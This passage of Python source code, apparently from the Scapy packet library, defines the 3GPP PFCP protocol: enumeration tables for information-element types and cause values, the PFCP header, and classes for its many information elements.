118: \"Aggregated URRs\",\n    119: \"Multiplier\",\n    120: \"Aggregated URR ID\",\n    121: \"Subsequent Volume Quota\",\n    122: \"Subsequent Time Quota\",\n    123: \"RQI\",\n    124: \"QFI\",\n    125: \"Query URR Reference\",\n    126: \"Additional Usage Reports Information\",\n    127: \"Create Traffic Endpoint\",\n    128: \"Created Traffic Endpoint\",\n    129: \"Update Traffic Endpoint\",\n    130: \"Remove Traffic Endpoint\",\n    131: \"Traffic Endpoint ID\",\n    132: \"Ethernet Packet Filter\",\n    133: \"MAC Address\",\n    134: \"C-TAG\",\n    135: \"S-TAG\",\n    136: \"Ethertype\",\n    137: \"Proxying\",\n    138: \"Ethernet Filter ID\",\n    139: \"Ethernet Filter Properties\",\n    140: \"Suggested Buffering Packets Count\",\n    141: \"User ID\",\n    142: \"Ethernet PDU Session Information\",\n    143: \"Ethernet Traffic Information\",\n    144: \"MAC Addresses Detected\",\n    145: \"MAC Addresses Removed\",\n    146: \"Ethernet Inactivity Timer\",\n    147: \"Additional Monitoring Time\",\n    148: \"Event Quota\",\n    149: \"Event Threshold\",\n    150: \"Subsequent Event Quota\",\n    151: \"Subsequent Event Threshold\",\n    152: \"Trace Information\",\n    153: \"Framed-Route\",\n    154: \"Framed-Routing\",\n    155: \"Framed-IPv6-Route\",\n    156: \"Event Time Stamp\",\n    157: \"Averaging Window\",\n    158: \"Paging Policy Indicator\",\n    159: \"APN/DNN\",\n    160: \"3GPP Interface Type\",\n}\n\nCauseValues = {\n    0: \"Reserved\",\n    1: \"Request accepted\",\n    64: \"Request rejected\",\n    65: \"Session context not found\",\n    66: \"Mandatory IE missing\",\n    67: \"Conditional IE missing\",\n    68: \"Invalid length\",\n    69: \"Mandatory IE incorrect\",\n    70: \"Invalid Forwarding Policy\",\n    71: \"Invalid F-TEID allocation option\",\n    72: \"No established Sx Association\",\n    73: \"Rule creation/modification Failure\",\n    74: \"PFCP entity in congestion\",\n    75: \"No resources available\",\n    76: \"Service not supported\",\n    77: \"System failure\",\n}\n\nSourceInterface = {\n    0: \"Access\",\n    1: \"Core\",\n    2: \"SGi-LAN/N6-LAN\",\n    3: \"CP-function\",\n}\n\nDestinationInterface = {\n    0: \"Access\",\n    1: \"Core\",\n    2: \"SGi-LAN/N6-LAN\",\n    3: \"CP-function\",\n    4: \"LI function\",\n}\n\nRedirectAddressType = {\n    0: \"IPv4 address\",\n    1: \"IPv6 address\",\n    2: \"URL\",\n    3: \"SIP URI\",\n}\n\nGateStatus = {\n    0: \"OPEN\",\n    1: \"CLOSED\",\n    2: \"CLOSED_RESERVED_2\",\n    3: \"CLOSED_RESERVED_3\",\n}\n\nTimerUnit = {\n    0: '2 seconds',\n    1: '1 minute',\n    2: '10 minutes',\n    3: '1 hour',\n    4: '10 hours',\n    7: 'infinite',\n}\n\nOuterHeaderRemovalDescription = {\n    0: \"GTP-U/UDP/IPv4\",\n    1: \"GTP-U/UDP/IPv6\",\n    2: \"UDP/IPv4\",\n    3: \"UDP/IPv6\",\n    4: \"IPv4\",\n    5: \"IPv6\",\n    6: \"GTP-U/UDP/IP\",\n    7: \"VLAN S-TAG\",\n    8: \"S-TAG and C-TAG\",\n}\n\nNodeIdType = {\n    0: \"IPv4\",\n    1: \"IPv6\",\n    2: \"FQDN\",\n}\n\nFqCSIDNodeIdType = {\n    0: \"IPv4\",\n    1: \"IPv6\",\n    2: \"MCCMNCId\",\n}\n\nFlowDirection = {\n    0: \"Unspecified\",\n    1: \"Downlink\",  # traffic to the UE\n    2: \"Uplink\",    # traffic from the UE\n    3: \"Bidirectional\",\n    4: \"Unspecified4\",\n    5: \"Unspecified5\",\n    6: \"Unspecified6\",\n    7: \"Unspecified7\",\n}\n\nTimeUnit = {\n    0: \"minute\",\n    1: \"6 minutes\",\n    2: \"hour\",\n    3: \"day\",\n    4: \"week\",\n    5: \"min5\",  # same as 0 (minute)\n    6: \"min6\",  # same as 0 (minute)\n    7: \"min7\",  # same as 0 (minute)\n}\n\nHeaderType = {\n    0: \"HTTP\",\n}\n\nPDNType = {\n    0: \"IPv4\",\n    1: \"IPv6\",\n    2: \"IPv4v6\",\n    3: \"Non-IP\",\n    4: \"Ethernet\",\n}\n\nRuleIDType = {\n    0: \"PDR\",\n    1: \"FAR\",\n    2: \"QER\",\n    3: \"URR\",\n    4: \"BAR\",\n    # TODO: other values should be interpreted as '1' if received\n}\n\nBaseTimeInterval = {\n    0: \"CTP\",\n    1: \"DTP\",\n}\n\nInterfaceType = {\n    0: \"S1-U\",\n    1: \"S5 /S8-U\",\n    2: \"S4-U\",\n    3: \"S11-U\",\n    4: \"S12-U\",\n    5: \"Gn/Gp-U\",\n    6: \"S2a-U\",\n    7: \"S2b-U\",\n    8: \"eNodeB GTP-U interface for DL data forwarding\",\n    9: \"eNodeB GTP-U interface for UL data forwarding\",\n    10: \"SGW/UPF GTP-U interface for DL data forwarding\",\n    11: \"N3 3GPP Access\",\n    12: \"N3 Trusted Non-3GPP Access\",\n    13: \"N3 Untrusted Non-3GPP Access\",\n    14: \"N3 for data forwarding\",\n    15: \"N9\",\n}\n\n\nclass PFCPLengthMixin(object):\n    def post_build(self, p, pay):\n        p += pay\n        if self.length is None:\n            tmp_len = len(p) - 4\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        return p\n\n\nclass PFCP(PFCPLengthMixin, Packet):\n    # 3GPP TS 29.244 V15.6.0 (2019-07)\n    # without the version\n    name = \"PFCP (v1) Header\"\n    fields_desc = [\n        BitField(\"version\", 1, 3),\n        XBitField(\"spare_b2\", 0, 1),\n        XBitField(\"spare_b3\", 0, 1),\n        XBitField(\"spare_b4\", 0, 1),\n        BitField(\"MP\", 0, 1),\n        BitField(\"S\", 1, 1),\n        ByteEnumField(\"message_type\", None, PFCPmessageType),\n        ShortField(\"length\", None),\n        ConditionalField(XLongField(\"seid\", 0),\n                         lambda pkt:pkt.S == 1),\n        ThreeBytesField(\"seq\", 0),\n        ConditionalField(BitField(\"priority\", 0, 4),\n                         lambda pkt:pkt.MP == 1),\n        ConditionalField(BitField(\"spare_p\", 0, 4),\n                         lambda pkt:pkt.MP == 1),\n        ConditionalField(ByteField(\"spare_oct\", 0),\n                         lambda pkt:pkt.MP == 0),\n    ]\n\n    def hashret(self):\n        return struct.pack(\"B\", self.version) + struct.pack(\"I\", self.seq) + \\\n            self.payload.hashret()\n\n    def answers(self, other):\n        return (isinstance(other, PFCP) and\n                self.version == other.version and\n                self.seq == other.seq and\n                self.payload.answers(other.payload))\n\n\nclass APNStrLenField(StrLenField):\n    # Inspired by DNSStrField\n    def m2i(self, pkt, s):\n        ret_s = b\"\"\n        tmp_s = s\n        while tmp_s:\n            tmp_len = orb(tmp_s[0]) + 1\n            if tmp_len > len(tmp_s):\n                warning(\"APN prematured end of character-string (size=%i, remaining bytes=%i)\" % (tmp_len, len(tmp_s)))  # noqa: E501\n            ret_s += tmp_s[1:tmp_len]\n            tmp_s = tmp_s[tmp_len:]\n            if len(tmp_s):\n                ret_s += b\".\"\n        s = ret_s\n        return s\n\n    def i2m(self, pkt, s):\n        s = b\"\".join(chb(len(x)) + x for x in s.split(b\".\"))\n        return s\n\n\nclass ExtraDataField(StrField):\n    def __init__(self, name, default=b\"\"):\n        StrField.__init__(self, name, default)\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def getfield(self, pkt, s):\n        # + 4 accounts for the ietype and length fields\n        p = len(pkt.original) - len(s)\n        length = pkt.length + 4 - p\n        return s[length:], self.m2i(pkt, s[:length])\n\n    def randval(self):\n        return RandBin(RandNum(0, 2))\n\n\nclass Int40Field(Field):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"BI\")\n\n    def addfield(self, pkt, s, val):\n        val = self.i2m(pkt, val)\n        return s + struct.pack(\"!BI\", val >> 32, val & 0xffffffff)\n\n    def getfield(self, pkt, s):\n        hi, lo = struct.unpack(\"!BI\", s[:5])\n        return s[5:], self.m2i(pkt, (hi << 32) + lo)\n\n    def randval(self):\n        return RandNum(0, 2**40 - 1)\n\n\ndef IE_Dispatcher(s):\n    \"\"\"Choose the correct Information Element class.\"\"\"\n\n    # Get the IE type\n    ietype = (orb(s[0]) * 256) + orb(s[1])\n    if ietype & 0x8000:\n        return IE_EnterpriseSpecific(s)\n\n    cls = ietypecls.get(ietype, Raw)\n    if cls is Raw:\n        cls = IE_NotImplemented\n\n    return cls(s)\n\n\nclass IE_Base(PFCPLengthMixin, Packet):\n    default_length = None\n\n    def __init__(self, *args, **kwargs):\n        self.fields_desc[0].default = self.ie_type\n        self.fields_desc[1].default = self.default_length\n        super(IE_Base, self).__init__(*args, **kwargs)\n\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n    fields_desc = [\n        ShortEnumField(\"ietype\", 0, IEType),\n        ShortField(\"length\", None)\n    ]\n\n\nclass IE_Compound(IE_Base):\n    fields_desc = IE_Base.fields_desc + [\n        PacketListField(\"IE_list\", None, IE_Dispatcher,\n                        length_from=lambda pkt: pkt.length)\n    ]\n\n\nclass IE_CreatePDR(IE_Compound):\n    name = \"IE Create PDR\"\n    ie_type = 1\n\n\nclass IE_PDI(IE_Compound):\n    name = \"IE PDI\"\n    ie_type = 2\n\n\nclass IE_CreateFAR(IE_Compound):\n    name = \"IE Create FAR\"\n    ie_type = 3\n\n\nclass IE_ForwardingParameters(IE_Compound):\n    name = \"IE Forwarding Parameters\"\n    ie_type = 4\n\n\nclass IE_DuplicatingParameters(IE_Compound):\n    name = \"IE Duplicating Parameters\"\n    ie_type = 5\n\n\nclass IE_CreateURR(IE_Compound):\n    name = \"IE Create URR\"\n    ie_type = 6\n\n\nclass IE_CreateQER(IE_Compound):\n    name = \"IE Create QER\"\n    ie_type = 7\n\n\nclass IE_CreatedPDR(IE_Compound):\n    name = \"IE Created PDR\"\n    ie_type = 8\n\n\nclass IE_UpdatePDR(IE_Compound):\n    name = \"IE Update PDR\"\n    ie_type = 9\n\n\nclass IE_UpdateFAR(IE_Compound):\n    name = \"IE Update FAR\"\n    ie_type = 10\n\n\nclass IE_UpdateForwardingParameters(IE_Compound):\n    name = \"IE Update Forwarding Parameters\"\n    ie_type = 11\n\n\nclass IE_UpdateBAR_SRR(IE_Compound):\n    name = \"IE Update BAR (PFCP Session Report Response)\"\n    ie_type = 12\n\n\nclass IE_UpdateURR(IE_Compound):\n    name = \"IE Update URR\"\n    ie_type = 13\n\n\nclass IE_UpdateQER(IE_Compound):\n    name = \"IE Update QER\"\n    ie_type = 14\n\n\nclass IE_RemovePDR(IE_Compound):\n    name = \"IE Remove PDR\"\n    ie_type = 15\n\n\nclass IE_RemoveFAR(IE_Compound):\n    name = \"IE Remove FAR\"\n    ie_type = 16\n\n\nclass IE_RemoveURR(IE_Compound):\n    name = \"IE Remove URR\"\n    ie_type = 17\n\n\nclass IE_RemoveQER(IE_Compound):\n    name = \"IE Remove QER\"\n    ie_type = 18\n\n\nclass IE_LoadControlInformation(IE_Compound):\n    name = \"IE Load Control Information\"\n    ie_type = 51\n\n\nclass IE_OverloadControlInformation(IE_Compound):\n    name = \"IE Overload Control Information\"\n    ie_type = 54\n\n\nclass IE_ApplicationID_PFDs(IE_Compound):\n    name = \"IE Application ID's PFDs\"\n    ie_type = 58\n\n\nclass IE_PFDContext(IE_Compound):\n    name = \"IE PFD context\"\n    ie_type = 59\n\n\nclass IE_ApplicationDetectionInformation(IE_Compound):\n    name = \"IE Application Detection Information\"\n    ie_type = 68\n\n\nclass IE_QueryURR(IE_Compound):\n    name = \"IE Query URR\"\n    ie_type = 77\n\n\nclass IE_UsageReport_SMR(IE_Compound):\n    name = \"IE Usage Report (Session Modification Response)\"\n    ie_type = 78\n\n\nclass IE_UsageReport_SDR(IE_Compound):\n    name = \"IE Usage Report (Session Deletion Response)\"\n    ie_type = 79\n\n\nclass IE_UsageReport_SRR(IE_Compound):\n    name = \"IE Usage Report (Session Report Request)\"\n    ie_type = 80\n\n\nclass IE_DownlinkDataReport(IE_Compound):\n    name = \"IE Downlink Data Report\"\n    ie_type = 83\n\n\nclass IE_Create_BAR(IE_Compound):\n    name = \"IE Create BAR\"\n    ie_type = 85\n\n\nclass IE_Update_BAR_SMR(IE_Compound):\n    name = \"IE Update BAR (Session Modification Request)\"\n    ie_type = 86\n\n\nclass IE_Remove_BAR(IE_Compound):\n    name = \"IE Remove BAR\"\n    ie_type = 87\n\n\nclass IE_ErrorIndicationReport(IE_Compound):\n    name = \"IE Error Indication Report\"\n    ie_type = 99\n\n\nclass IE_UserPlanePathFailureReport(IE_Compound):\n    name = \"IE User Plane Path Failure Report\"\n    ie_type = 102\n\n\nclass IE_UpdateDuplicatingParameters(IE_Compound):\n    name = \"IE Update Duplicating Parameters\"\n    ie_type = 105\n\n\nclass IE_AggregatedURRs(IE_Compound):\n    name = \"IE Aggregated URRs\"\n    ie_type = 118\n\n\nclass IE_CreateTrafficEndpoint(IE_Compound):\n    name = \"IE Create Traffic Endpoint\"\n    ie_type = 127\n\n\nclass IE_CreatedTrafficEndpoint(IE_Compound):\n    name = \"IE Created Traffic Endpoint\"\n    ie_type = 128\n\n\nclass IE_UpdateTrafficEndpoint(IE_Compound):\n    name = \"IE Update Traffic Endpoint\"\n    ie_type = 129\n\n\nclass IE_RemoveTrafficEndpoint(IE_Compound):\n    name = \"IE Remove Traffic Endpoint\"\n    ie_type = 130\n\n\nclass IE_EthernetPacketFilter(IE_Compound):\n    name = \"IE Ethernet Packet Filter\"\n    ie_type = 132\n\n\nclass IE_EthernetTrafficInformation(IE_Compound):\n    name = \"IE Ethernet Traffic Information\"\n    ie_type = 143\n\n\nclass IE_AdditionalMonitoringTime(IE_Compound):\n    name = \"IE Additional Monitoring Time\"\n    ie_type = 147\n\n\nclass IE_Cause(IE_Base):\n    ie_type = 19\n    name = \"IE Cause\"\n    fields_desc = IE_Base.fields_desc + [\n        ByteEnumField(\"cause\", None, CauseValues)\n    ]\n\n\nclass IE_SourceInterface(IE_Base):\n    name = \"IE Source Interface\"\n    ie_type = 20\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitEnumField(\"interface\", \"Access\", 4, SourceInterface),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_FTEID(IE_Base):\n    name = \"IE F-TEID\"\n    ie_type = 21\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitField(\"CHID\", 0, 1),\n        BitField(\"CH\", 0, 1),\n        BitField(\"V6\", 0, 1),\n        BitField(\"V4\", 0, 1),\n        ConditionalField(XIntField(\"TEID\", 0), lambda x: x.CH == 0),\n        ConditionalField(IPField(\"ipv4\", 0),\n                         lambda x: x.V4 == 1 and x.CH == 0),\n        ConditionalField(IP6Field(\"ipv6\", 0),\n                         lambda x: x.V6 == 1 and x.CH == 0),\n        ConditionalField(ByteField(\"choose_id\", 0),\n                         lambda x: x.CHID == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_NetworkInstance(IE_Base):\n    name = \"IE Network Instance\"\n    ie_type = 22\n    fields_desc = IE_Base.fields_desc + [\n        APNStrLenField(\"instance\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_SDF_Filter(IE_Base):\n    name = \"IE SDF Filter\"\n    ie_type = 23\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 3),\n        BitField(\"BID\", 0, 1),\n        BitField(\"FL\", 0, 1),\n        BitField(\"SPI\", 0, 1),\n        BitField(\"TTC\", 0, 1),\n        BitField(\"FD\", 0, 1),\n        ByteField(\"spare_oct\", 0),\n        ConditionalField(FieldLenField(\"flow_description_length\", None,\n                                       length_of=\"flow_description\"),\n                         lambda pkt: pkt.FD == 1),\n        ConditionalField(StrLenField(\"flow_description\", \"\",\n                                     length_from=lambda pkt:\n                                     pkt.flow_description_length),\n                         lambda pkt: pkt.FD == 1),\n        ConditionalField(ByteField(\"tos_traffic_class\", 0),\n                         lambda pkt: pkt.TTC == 1),\n        ConditionalField(ByteField(\"tos_traffic_mask\", 0),\n                         lambda pkt: pkt.TTC == 1),\n        ConditionalField(IntField(\"security_parameter_index\", 0),\n                         lambda pkt: pkt.SPI == 1),\n        ConditionalField(ThreeBytesField(\"flow_label\", 0),\n                         lambda pkt: pkt.FL == 1),\n        ConditionalField(IntField(\"sdf_filter_id\", 0),\n                         lambda pkt: pkt.BID == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_ApplicationId(IE_Base):\n    name = \"IE Application ID\"\n    ie_type = 24\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"id\", \"\", length_from=lambda x: x.length),\n    ]\n\n\nclass IE_GateStatus(IE_Base):\n    name = \"IE Gate Status\"\n    ie_type = 25\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitEnumField(\"ul\", \"OPEN\", 2, GateStatus),\n        BitEnumField(\"dl\", \"OPEN\", 2, GateStatus),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MBR(IE_Base):\n    name = \"IE MBR\"\n    ie_type = 26\n    fields_desc = IE_Base.fields_desc + [\n        Int40Field(\"ul\", 0),\n        Int40Field(\"dl\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_GBR(IE_Base):\n    name = \"IE GBR\"\n    ie_type = 27\n    fields_desc = IE_Base.fields_desc + [\n        Int40Field(\"ul\", 0),\n        Int40Field(\"dl\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_QERCorrelationId(IE_Base):\n    name = \"IE QER Correlation ID\"\n    ie_type = 28\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_Precedence(IE_Base):\n    name = \"IE Precedence\"\n    ie_type = 29\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"precedence\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TransportLevelMarking(IE_Base):\n    name = \"IE Transport Level Marking\"\n    ie_type = 30\n    fields_desc = IE_Base.fields_desc + [\n        XByteField(\"tos\", 0),\n        XByteField(\"traffic_class\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_VolumeThreshold(IE_Base):\n    name = \"IE Volume Threshold\"\n    ie_type = 31\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"DLVOL\", 0, 1),\n        BitField(\"ULVOL\", 0, 1),\n        BitField(\"TOVOL\", 0, 1),\n        ConditionalField(XLongField(\"total\", 0), lambda x: x.TOVOL == 1),\n        ConditionalField(XLongField(\"uplink\", 0), lambda x: x.ULVOL == 1),\n        ConditionalField(XLongField(\"downlink\", 0), lambda x: x.DLVOL == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TimeThreshold(IE_Base):\n    name = \"IE Time Threshold\"\n    ie_type = 32\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"threshold\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MonitoringTime(IE_Base):\n    name = \"IE Monitoring Time\"\n    ie_type = 33\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"time_value\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SubsequentVolumeThreshold(IE_Base):\n    name = \"IE Subsequent Volume Threshold\"\n    ie_type = 34\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"DLVOL\", 0, 1),\n        BitField(\"ULVOL\", 0, 1),\n        BitField(\"TOVOL\", 0, 1),\n        ConditionalField(XLongField(\"total\", 0), lambda x: x.TOVOL == 1),\n        ConditionalField(XLongField(\"uplink\", 0), lambda x: x.ULVOL == 1),\n        ConditionalField(XLongField(\"downlink\", 0), lambda x: x.DLVOL == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SubsequentTimeThreshold(IE_Base):\n    name = \"IE Subsequent Time Threshold\"\n    ie_type = 35\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"threshold\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_InactivityDetectionTime(IE_Base):\n    name = \"IE Inactivity Detection Time\"\n    ie_type = 36\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"time_value\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_ReportingTriggers(IE_Base):\n    name = \"IE Reporting Triggers\"\n    ie_type = 37\n    fields_desc = IE_Base.fields_desc + [\n        BitField(\"linked_usage_reporting\", 0, 1),\n        BitField(\"dropped_dl_traffic_threshold\", 0, 1),\n        BitField(\"stop_of_traffic\", 0, 1),\n        BitField(\"start_of_traffic\", 0, 1),\n        BitField(\"quota_holding_time\", 0, 1),\n        BitField(\"time_threshold\", 0, 1),\n        BitField(\"volume_threshold\", 0, 1),\n        BitField(\"periodic_reporting\", 0, 1),\n        XBitField(\"spare\", 0, 2),\n        BitField(\"event_quota\", 0, 1),\n        BitField(\"event_threshold\", 0, 1),\n        BitField(\"mac_addresses_reporting\", 0, 1),\n        BitField(\"envelope_closure\", 0, 1),\n        BitField(\"time_quota\", 0, 1),\n        BitField(\"volume_quota\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_RedirectInformation(IE_Base):\n    name = \"IE Redirect Information\"\n    ie_type = 38\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitEnumField(\"type\", \"IPv4 address\", 4, RedirectAddressType),\n        FieldLenField(\"address_length\", None, length_of=\"address\"),\n        StrLenField(\"address\", \"\", length_from=lambda pkt: pkt.address_length),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_ReportType(IE_Base):\n    name = \"IE Report Type\"\n    ie_type = 39\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitField(\"UPIR\", 0, 1),\n        BitField(\"ERIR\", 0, 1),\n        BitField(\"USAR\", 0, 1),\n        BitField(\"DLDR\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_OffendingIE(IE_Base):\n    name = \"IE Offending IE\"\n    ie_type = 40\n    fields_desc = IE_Base.fields_desc + [\n        ShortEnumField(\"type\", None, IEType)\n    ]\n\n\nclass IE_ForwardingPolicy(IE_Base):\n    name = \"IE Forwarding Policy\"\n    ie_type = 41\n    fields_desc = IE_Base.fields_desc + [\n        FieldLenField(\"policy_identifier_length\", None,\n                      length_of=\"policy_identifier\", fmt=\"B\"),\n        StrLenField(\"policy_identifier\", \"\",\n                    length_from=lambda pkt: pkt.policy_identifier_length)\n    ]\n\n\nclass IE_DestinationInterface(IE_Base):\n    name = \"IE Destination Interface\"\n    ie_type = 42\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitEnumField(\"interface\", \"Access\", 4, DestinationInterface),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_UPFunctionFeatures(IE_Base):\n    name = \"IE UP Function Features\"\n    ie_type = 43\n    default_length = 2\n    fields_desc = IE_Base.fields_desc + [\n        ConditionalField(BitField(\"TREU\", None, 1), lambda x: x.length > 0),\n        ConditionalField(BitField(\"HEEU\", None, 1), lambda x: x.length > 0),\n        ConditionalField(BitField(\"PFDM\", None, 1), lambda x: x.length > 0),\n        ConditionalField(BitField(\"FTUP\", None, 1), lambda x: x.length > 0),\n\n        ConditionalField(BitField(\"TRST\", None, 1), lambda x: x.length > 0),\n        ConditionalField(BitField(\"DLBD\", None, 1), lambda x: x.length > 0),\n        ConditionalField(BitField(\"DDND\", None, 1), lambda x: x.length > 0),\n        ConditionalField(BitField(\"BUCP\", None, 1), lambda x: x.length > 0),\n\n        ConditionalField(BitField(\"spare\", None, 1), lambda x: x.length > 1),\n        ConditionalField(BitField(\"PFDE\", None, 1), lambda x: x.length > 1),\n        ConditionalField(BitField(\"FRRT\", None, 1), lambda x: x.length > 1),\n        ConditionalField(BitField(\"TRACE\", None, 1), lambda x: x.length > 1),\n\n        ConditionalField(BitField(\"QUOAC\", None, 1), lambda x: x.length > 1),\n        ConditionalField(BitField(\"UDBC\", None, 1), lambda x: x.length > 1),\n        ConditionalField(BitField(\"PDIU\", None, 1), lambda x: x.length > 1),\n        ConditionalField(BitField(\"EMPU\", None, 1), lambda x: x.length > 1),\n\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_ApplyAction(IE_Base):\n    name = \"IE Apply Action\"\n    ie_type = 44\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 3),\n        BitField(\"DUPL\", 0, 1),\n        BitField(\"NOCP\", 0, 1),\n        BitField(\"BUFF\", 0, 1),\n        BitField(\"FORW\", 0, 1),\n        BitField(\"DROP\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DownlinkDataServiceInformation(IE_Base):\n    name = \"IE Downlink Data Service Information\"\n    ie_type = 45\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", None, 6),\n        BitField(\"QFII\", 0, 1),\n        BitField(\"PPI\", 0, 1),\n        ConditionalField(\n            XBitField(\"spare_2\", None, 2),\n            lambda x: x.PPI == 1),\n        ConditionalField(\n            XBitField(\"ppi_val\", None, 6),\n            lambda x: x.PPI == 1),\n        ConditionalField(\n            XBitField(\"spare_3\", None, 2),\n            lambda x: x.QFII == 1),\n        ConditionalField(\n            XBitField(\"qfi_val\", None, 6),\n            lambda x: x.QFII == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DownlinkDataNotificationDelay(IE_Base):\n    name = \"IE Downlink Data Notification Delay\"\n    ie_type = 46\n    fields_desc = IE_Base.fields_desc + [\n        ByteField(\"delay\", 0),  # in multiples of 50\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DLBufferingDuration(IE_Base):\n    name = \"IE DL Buffering Duration\"\n    ie_type = 47\n    fields_desc = IE_Base.fields_desc + [\n        BitEnumField(\"timer_unit\", \"2 seconds\", 3, TimerUnit),\n        BitField(\"timer_value\", 0, 5),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_DLBufferingSuggestedPacketCount(IE_Base):\n    name = \"IE DL Buffering Suggested Packet Count\"\n    ie_type = 48\n    fields_desc = IE_Base.fields_desc + [\n        MultipleTypeField([\n            (\n                ByteField(\"count\", 0),\n                (lambda x: x.length == 1,\n                 lambda x, val: x.length == 1 or\n                 (x.length is None and val < 256)),\n            ),\n            (\n                ShortField(\"count\", 0),\n                (lambda x: x.length == 2,\n                 lambda x, val: x.length == 1 or\n                 (x.length is None and val >= 256))\n            ),\n        ], ByteField(\"count\", 0))\n    ]\n\n\nclass IE_PFCPSMReqFlags(IE_Base):\n    name = \"IE PFCPSMReq-Flags\"\n    ie_type = 49\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 5),\n        BitField(\"QUARR\", 0, 1),\n        BitField(\"SNDEM\", 0, 1),\n        BitField(\"DROBU\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PFCPSRRspFlags(IE_Base):\n    name = \"IE PFCPSRRsp-Flags\"\n    ie_type = 50\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", None, 7),\n        BitField(\"DROBU\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SequenceNumber(IE_Base):\n    name = \"IE Sequence Number\"\n    ie_type = 52\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"number\", 0),\n    ]\n\n\nclass IE_Metric(IE_Base):\n    name = \"IE Metric\"\n    ie_type = 53\n    fields_desc = IE_Base.fields_desc + [\n        ByteField(\"metric\", 0),\n    ]\n\n\nclass IE_Timer(IE_Base):\n    name = \"IE Timer\"\n    ie_type = 55\n    fields_desc = IE_Base.fields_desc + [\n        BitEnumField(\"timer_unit\", \"2 seconds\", 3, TimerUnit),\n        BitField(\"timer_value\", 0, 5),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PDR_Id(IE_Base):\n    name = \"IE PDR ID\"\n    ie_type = 56\n    fields_desc = IE_Base.fields_desc + [\n        ShortField(\"id\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_FSEID(IE_Base):\n    name = \"IE F-SEID\"\n    ie_type = 57\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 6),\n        BitField(\"v4\", 0, 1),\n        BitField(\"v6\", 0, 1),\n        XLongField(\"seid\", 0),\n        ConditionalField(IPField(\"ipv4\", 0),\n                         lambda x: x.v4 == 1),\n        ConditionalField(IP6Field(\"ipv6\", 0),\n                         lambda x: x.v6 == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_NodeId(IE_Base):\n    name = \"IE Node ID\"\n    ie_type = 60\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 4),\n        BitEnumField(\"id_type\", \"IPv4\", 4, NodeIdType),\n        ConditionalField(IPField(\"ipv4\", 0),\n                         lambda x: x.id_type == 0),\n        ConditionalField(IP6Field(\"ipv6\", 0),\n                         lambda x: x.id_type == 1),\n        ConditionalField(\n            APNStrLenField(\"id\", \"\", length_from=lambda x: x.length - 1),\n            lambda x: x.id_type == 2),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PFDContents(IE_Base):\n    name = \"IE PFD contents\"\n    ie_type = 61\n    fields_desc = IE_Base.fields_desc + [\n        BitField(\"ADNP\", 0, 